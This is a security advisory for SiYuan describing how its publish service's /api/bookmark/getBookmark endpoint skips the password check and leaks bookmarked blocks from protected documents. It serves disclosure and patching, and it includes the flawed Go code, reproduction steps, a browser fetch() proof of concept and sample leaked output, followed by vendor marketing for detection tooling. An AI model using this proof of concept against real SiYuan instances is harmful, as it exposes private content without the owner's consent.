GHSA-c77m-r996-jr3q
HIGHSiYuan: Unauthenticated Access to Password-Protected Bookmarks via /api/bookmark/getBookmark
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
github.com/siyuan-note/siyuan/kernelReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The publish service exposes bookmarked blocks from password-protected documents to unauthenticated visitors. In publish/read-only mode, /api/bookmark/getBookmark filters bookmark results by calling FilterBlocksByPublishAccess(nil, ...). Because the filter treats a nil context as authorized, it skips the publish password check and returns bookmarked blocks from documents configured as Protected. As a result, anyone who can access the publish service can retrieve content from protected documents without providing the required password, as long as at least one block in the document is bookmarked.
Details
The issue is caused by an authorization bypass in the bookmark API path used by the publish service.
In kernel/api/bookmark.go, getBookmark checks whether the current request is in a read-only role and then filters bookmarks for publish access. However, it passes nil as the request context:
if model.IsReadOnlyRoleContext(c) {
publishAccess := model.GetPublishAccess()
tempBookmarks := &model.Bookmarks{}
for _, bookmark := range *bookmarks {
bookmark.Blocks = model.FilterBlocksByPublishAccess(nil, publishAccess, bookmark.Blocks)
In kernel/model/publish_access.go, FilterBlocksByPublishAccess allows access when c == nil:
if CheckPathAccessableByPublishIgnore(block.Box, block.Path, publishIgnore) &&
(c == nil || password == "" || CheckPublishAuthCookie(c, passwordID, password)) {
ret = append(ret, block)
}
This bypasses the intended password enforcement performed by CheckPublishAuthCookie, which validates the publish-auth-<id> cookie for protected content.
The publish proxy authenticates anonymous publish visitors with a RoleReader token, and CheckAuth accepts RoleReader, so unauthenticated publish visitors can reach /api/bookmark/getBookmark and trigger the vulnerable code path.
I reproduced this by creating a protected document, bookmarking a block inside it, opening the publish service in an incognito session without entering the document password, and sending a POST /api/bookmark/getBookmark request. The response returned a bookmark group containing the protected block in data[0].blocks, confirming the bypass.
PoC
- Start SiYuan with the publish service enabled.
- Create a new document, for example publish-bookmark-poc.
- Add a block containing identifiable content, for example BOOKMARK_SECRET_123.
- Open the block attributes and assign a bookmark label, for example leak-test.
- In Doc Tree, enable Publish Access Control and set the document to Protected.
- Set a password for that document, for example test123, and confirm the change.
- Open the publish service in a fresh incognito/private browser session.
- Verify that opening the protected document through the publish UI requires the password.
- Without entering the password, open the browser developer console and run:
fetch("/api/bookmark/getBookmark", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: "{}"
})
.then(r => r.json())
.then(x => console.log(JSON.stringify(x, null, 2)));
- Observe that the response contains a bookmark entry such as:
{
"code": 0,
"msg": "",
"data": [
{
"name": "leak-test",
"blocks": [
{
"box": "20260327012540-ppsxc5j",
"path": "/20260327012543-acu1mdn.sy",
"hPath": "/publish-bookmark-poc",
"id": "20260327012543-1y6djn1",
"rootID": "20260327012543-acu1mdn",
"parentID": "20260327012543-acu1mdn",
"name": "",
"alias": "",
"memo": "",
"tag": "",
"content": "<span data-type=\"code\">BOOKMARK_SECRET_123</span>",
"fcontent": "",
"markdown": "`BOOKMARK_SECRET_123`",
"folded": false,
"type": "NodeParagraph",
"subType": "",
"refText": "",
"refs": null,
"defID": "",
"defPath": "",
"ial": {
"bookmark": "leak-test",
"id": "20260327012543-1y6djn1",
"updated": "20260327013116"
},
"children": null,
"depth": 1,
"count": 0,
"refCount": 0,
"sort": 10,
"created": "",
"updated": "",
"riffCardID": "",
"riffCard": null
}
],
"type": "bookmark",
"depth": 0,
"count": 1
}
]
}
Actual result:
/api/bookmark/getBookmark returns bookmarked blocks from protected documents without requiring the publish password.
Impact
An unauthenticated attacker who can access the publish service can read bookmarked content from documents configured as password-protected. This breaks the confidentiality guarantee of the Protected publish access level. The impact is limited to blocks that have been bookmarked, but the leakage is direct, requires no user interaction, and does not require knowledge of the document password.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/siyuan-note/siyuan/kernel | all versions | 3.6.2 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/siyuan-note/siyuan/kernel. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update github.com/siyuan-note/siyuan/kernel to 3.6.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-c77m-r996-jr3q is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-c77m-r996-jr3q is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-c77m-r996-jr3q. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-c77m-r996-jr3q in your dependencies?
O3 detects GHSA-c77m-r996-jr3q across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.